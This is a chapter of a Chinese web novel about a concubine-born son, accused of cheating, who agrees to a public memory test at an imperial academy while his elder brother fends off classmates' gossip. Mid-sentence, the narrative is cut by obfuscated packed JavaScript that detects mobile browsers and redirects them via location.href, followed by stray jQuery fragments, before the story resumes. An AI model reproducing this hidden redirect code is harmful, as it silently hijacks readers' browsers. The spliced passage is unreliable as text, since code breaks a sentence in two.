15. 月考扬才名(五)

作品:《逼着嫡兄科举为官

    对方言语中的苛责偏袒之意三岁小儿都听得出来。因此江佑翎也懒得去琢磨这位监丞什么党什么派跟江家有什么怨与仇,反正三万两一年的读书的机会,他要抓住!


    笃定着,江佑翎飚出“惊吓胆小”的泪光,缓缓弯腰朝监丞行礼。


    一见江佑翎被吓得眼圈都红了,一副瑟缩胆怯的模样,贺柏不自禁的昂了昂脖颈,才朝监丞弯腰行礼。


    岂料就在他弯腰的时候,耳畔就响起一连串噼里啪啦不亚于火蒺藜爆炸般迅猛果决的话语:


    “大人您教训的是,学生不该强调让贺柏一行人可以抽查我的功课,以此证明我的考核没有任何作假。就该直接让他质疑您质疑国子监夫子们初心,宁可讨好我这个破落户庶子,而不是他!”


    “江佑翎你个王八羔子你青口白牙的就敢污蔑我?”贺柏暴怒。


    江佑翎一脸惶恐的后退两步:“你……你……”


    而后抬眸怯怯的看着监丞,委屈着开口:“大人若是不信的话,可以问问在场的人。我先前有没有说欢迎所有人考校证明自己证明月考公正的事情?”


    “且再说了……”


    声音都带着些哭腔,江佑翎双眸却随着诉说带着火焰:“大人,这德行需要持之以恒日久见人心,查案不一样。被污蔑作弊,那咱们公里公道说首先还是得查有没有才?!”


    带着崩溃的委屈声一嗓子喊出来,听得监丞面色都一变,幽幽的看着自己视作麻烦的江佑翎。


    就见人眼泪滚滚,可却是倔强的昂着头一副不肯认输的架势。因这份倔气,就连有些女色的面相都显露出了男人的坚毅之气。


    点评着,监丞紧绷着脸开口:“本官自然会调查真相。听完原告听被告,不会有任何的偏颇!”


    闻言,江佑翎客气的弯腰再一次称是:“是学生心切了,误会了您。”


    贺柏听得江佑翎还敢用才来证明自己,唯恐拖延下去白大人这个手把手教导江佑翎的区区七品学录带着他的靠山,国子监一把手蔡祭酒大人过来给人撑腰。


    他赶忙将自己担忧作弊的事情说得光明正大是为考试公正,而后便义正言辞标明自己也愿意采纳江佑翎先前的建议——在场每个人自己抽课本中的一句话来考校江佑翎。


    “处罚不能忘。”江佑翎幽幽补充道。


    贺柏看着流着泪跟个小娘们一样的江佑翎竟还敢提及处罚,只觉自己被气的怒火燃烧起来了:“敢这般咄咄逼人?是要借着月考一飞冲天彰显江佑翎你过目不忘?甚至,江佑翎你不会说自己是天才吧?”


    越想贺柏越觉得自己这个揣测十有八、九就是江佑翎的“才子”路线!


    相比他们,江家这个破落户更需要才名来彰显自己的存在感。且运作的手段也很成熟了,像江佑鑫不就是因为刻苦勤奋外加实在有“财”,不就成了才子。而后又“财”“才”的同音,让国子监之外的学子误信了去,以致于全京城一提及才子,提及好学,江佑鑫也会榜上有名?


    “自打六连元横空出世后,多少人想着营造天才文曲星名声?”


    “像你这种一开始佯装无知,实则早就在家滚瓜烂熟读背了也有可能!你要是真敢说自己过目不忘,记忆出众的,能够在短短一个月内就学会所有启蒙读本。眼下不妨就按着世家公子十来岁的进展,抽查四书五经如何?!”


    最后一句,贺柏拔高了音调,看向自己身侧的好友同伴。


    收到眼神示意,贺柏同伴们当即相应起来:“就是!但凡有些家底的谁不是三岁就开始启蒙?”


    “贺兄质疑的有道理,哪怕家里稍微宠溺一些,也干不出入学监考直接图一坨黑!”


    “先装无才被嘲讽而后在逆袭打脸,这样的套路话本都有写!”


    “…………”


    许誉听得这一声声越说越亢奋,带着些恶意话语,双眸都有些焦虑想要看一看庭院大门——明明白宝儿跑去告状了,怎么白大人他们怎么还不来?


    论理,白宝儿虽然跟白大人不是同一族,但是因为两家都姓白。白宝儿他姐就拜白家为干亲的。


    因此七拐八拐,也算亲戚了。


    就冲后宫那些关系,白文清也该第一时间到啊!


    “哟,看许六公子的眼神,是琢磨搬哪个救兵啊?”贺柏一见仇敌的眼神,直接阴阳怪气着:“还是说你们全斋都有份提前知道卷子啊?你才考那么好?”


    “放你娘的狗屁!”许誉直接暴露,挥拳想要揍贺柏。


    江佑翎眼疾手快揽住人,抬眸看向老神在在,似乎在看戏的监丞,字正腔圆开口:“大人,我接受贺柏的升级考核要求,验证我是不是过目不忘!”


    “但凡《新编对四言》中出现的过的字,不管在哪一本书出现。我只要看上一炷香的时间,我就能复述出来!”


    “我若是证明自己真有才智过目不忘,那么贺柏要站在启蒙斋所有学生面前,给我们全斋道歉,说他自己是吃了狗屎才会嘴巴这么臭这么恶毒的揣测所有人!”


    迎着江佑翎忽然横扫过来的刀子眼,像是兔子急了咬人瞬间迸发出来的凶狠,监丞沉着脸:“负荆请罪可以,但这言语涉及侮辱……”


    “污蔑我们辛辛苦苦是作弊就不是侮辱吗?”许誉气得牙齿都咬得咯吱咯吱作响。


    天知道他知道自己成绩的那一瞬间,脑子里只觉自己被逼学过的典故“耳濡目染”、“孟母三迁”等等都生动形象了。


    “就是啊!”


    眼见不考察一番翻不过篇,而江佑翎虽然瞧着有些小家子气的畏缩。可大家都是见过后院斗争的,见过某些人柔柔弱弱却下手快准狠。因此先前一直沉默的老牌勋贵子弟便纷纷出声应和起来:“江佑翎都答应了随便考校了,怎么还觉得自己委屈了不敢应处罚?又不是真吃狗屎了再道歉!”


    “全都痛快点,像个男人好嘛?”


    贺柏气得开口:“行!我先来抽本书!”


    边说他眼神带着恨意剐着江佑翎:“今日非得把你这个虚伪之人的面皮狠狠撕扯下来!”


    江佑翎淡然:“请!”


    眼见当事人两方竟都无视他直接自己应下,监丞眼神带着不喜,喊着护卫维持秩序,尤其是关上启蒙斋的大门,免得其他荫生看热闹不嫌事大。


    其他斋的荫生们看着大白日关上的门,直接愈发好奇了。


    不到一炷香,消息便传进了广业堂。


    正昂首期盼着月考成绩的众人全都惊呆了。当即不赌堂堂六连元的徒弟能够考第几名,江大才子这回第几名,两个人会不会因为成绩互相拌嘴吵架,全都围到紧绷着脸练字的江佑鑫课桌旁边:


    “你那个倒数第一的弟是个天才?”


    “不会像谣传的那样,你们家把人送进来是冲一个才子的名号吧?”


    “要不然我们怎么没听过你提及弟弟?你妹妹笑笑非但听你提及过,还拿着荷包炫耀过,我自己在宴会上都见过一两回了。”


    “…………”


    一声比一声蕴藏着饱满的情感,听得江佑鑫都忍不住想要张嘴回应一句。毕竟他也好好奇啊啊啊啊啊啊!


    他敢发誓,娘不会打压庶子,但是让她老人家记得给庶子读书,那真得靠别人挑衅的!


    至于亲爹,就更别提了,一张口就是扫把星!是知道读书重要性但不会让江佑翎读书认字。


    而祖母据李嬷嬷等人综合种种小道消息揣测,对于这个影响母子关系的“江家香火”也就定位在江家香火一词上——说直白些,养着当种猪开枝散叶就好,不会在意是不是好学。


    所以江佑翎就算天才,除非生而知之者,否则在侯府内都没机会接触书。


    但无奈这么多人叽叽喳喳的,让他稍微理智了两分。


    咬着牙,江佑鑫压住自己的好奇心,沉声回应众人重重脸色的八卦好奇挑衅等等,道:“不管是倒数第一还是正数第一,江佑翎姓江,是荫生,又不是监生。”


    “可……可他装模作样伪君子一个,会被嘲讽会没人跟他玩。”有人意味深长的看着江佑鑫。


    江佑鑫一脸真诚着:“有问题吗?他生而克母,本就是被嘲讽扫把星啊。我爹都不让我跟他玩,免得他克到我!”


    此话一出,全场哗然:


    “扫把星?”


    “江佑鑫,你可别说气话啊,听说你们家花了好几万两银子让他来国子监读书!”


    “不是说江佑翎是身体孱弱握不住笔,才在入学考核中直接一坨吗?”


    “因为在娘胎里憋久了,才会孱弱啊。孱弱跟他生儿克母是因果关系。”江佑鑫一板一眼解释道:“至于花三万两,需要那么震惊吗?我江家就算翻了几艘船,却拥有五千侯爵食邑,八千公主食邑,共享万户食


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093712|163190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    邑的万户侯。”


    “除非我爹争气再生个弟弟,否则我们这一代就我们两兄弟。我手指缝里漏一点,都能漏个百八十万给江佑翎做家产。”


    强调着弟弟未来以后家产客观是好女婿的人选后,江佑鑫环视全场:“你们还有其他问题吗?没了,就别打扰我学习了。”


    全场所有人大眼瞪小眼,也不知是谁从喉咙里憋出一句话:“纠正一下,是一万三千户食邑,别漏掉了三千户!”


    打天下的开国一辈,食邑是太、祖爷定的。


    太、祖爷阔绰。


    国公是八千户食邑,侯爷是五千户食邑。


    也是因此,规定死了国、侯的数量,不许超过八国公,三十六侯这吉利且旺大周的数字。


    其他开国国公家族各有降爵承袭的情况,就连食邑都随之削减。但偏生江家特殊是五代不降爵承袭侯爵之位。因此这么些年,铁打五千户食邑。


    更为可恨的是江佑鑫口中的公主,是太宗爱女直接位同亲王,是七千户食邑。后来单纯靠着资历辈分,作为太、祖爷抱过的小孙女,她老人家历经四朝,活到了一百零三岁累封又又又得了一千户食邑。


    也是因此江家就算破落户,也是京城鼎鼎有名,让勋贵朝臣都记得住的破落户——出了个皇家长寿有德之兆。


    感受着同窗们的幽怨,江佑鑫从顺如流:“我能继承一万三千户食邑。”


    全场:“…………”


    全场:“…………”


    全场:“…………”


    哪怕大家都是嫡长子起码有个爵位能够继承,但发现从江佑鑫身上找不到太强烈优越感后,有人直接气得去启蒙斋:“哪怕翻墙,我都要看看那些弟弟们自己苦读奋斗的模样!”


    此话一出不少人纷纷应和。


    甚至还有人动手拉着一万三千户一起去。


    一行人手脚麻利叠罗汉翻进启蒙斋后院,还再一次互相协作爬上了屋檐。


    被拱着到屋檐的江佑鑫无奈的吁口气,垂首看向底下已经搭建起来的比试场所:以贺柏为首的人一堆密密麻麻的,而站在江佑翎身边的孤零零的就一个许誉。


    在两帮人中间是堆积得有几尺高的书籍。


    看着,江佑鑫紧张的捏了捏汗珠。


    虽然有个倒数第一的弟弟很丢脸,但……但要是江佑翎被嘲伪君子,装逼小人,那更丢脸了。


    前者是才智问题,后者直接是德行,能够斩断后半生的仕途了。


    担忧着,他就听得身后有人看戏着哟哟哟口吻:


    “瞧那些书仆的脸色,恐怕藏书阁的书都搬进来好几本了。”


    “那配色是一整套本朝官印刚出炉的二十四史吧?玩这么大吗?”


    江佑鑫咯噔一声。


    二十四史?


    是指《史记》、《汉书》、《后汉书》、《三国志》、《晋书》、《宋书》、《南齐书》、《梁书》、《陈书》、《魏书》、《北齐书》、《周书》、《隋书》、《南史》、《北史》、《旧唐书》、《新唐书》、《旧五代史》、《新五代史》、《宋史》、《辽史》《金史》、《元史》、《明史》?


    默念着自己死记硬背记住的,新学年增设的课程,江佑鑫都觉自己脑瓜子开始嗡嗡嗡做疼了。


    与此同时眼尖的发现屋檐上那密密麻麻的都不带遮掩的“屋檐”,甚至左右厢房屋檐上也陆陆续续有人爬上来充当屋檐,江佑翎不由得发出一声喟叹。


    原来这就是普通人的日常学习小碎片。


    羡慕着,江佑鑫看向贺柏。


    贺柏带着些得意开口:“我就考验你一段简单的。六连元黎大人先前为劝学,作过一首《自挂东南枝》。”


    江佑翎点头:“请。”


    说完他就见贺柏忽然间身形都有些不对了,还是摇摆着念叨:“少壮不努力,不如自挂东南枝,去年今日此门中,映日荷花别样红,飞流直下三千尺,人生长恨水长东……”


    江佑翎如遭雷击,感觉自己脑子都要炸裂了。


    这什么玩意?


    其他人见状,露出了然的目光来。


    若是江佑翎没提前学过,那按着他自己过目不忘的说法,肯定会一字不落背下来。可若是学过的话,那嘿嘿。


    第一反应肯定是错。


    这些诗句上下句全都大错特错了。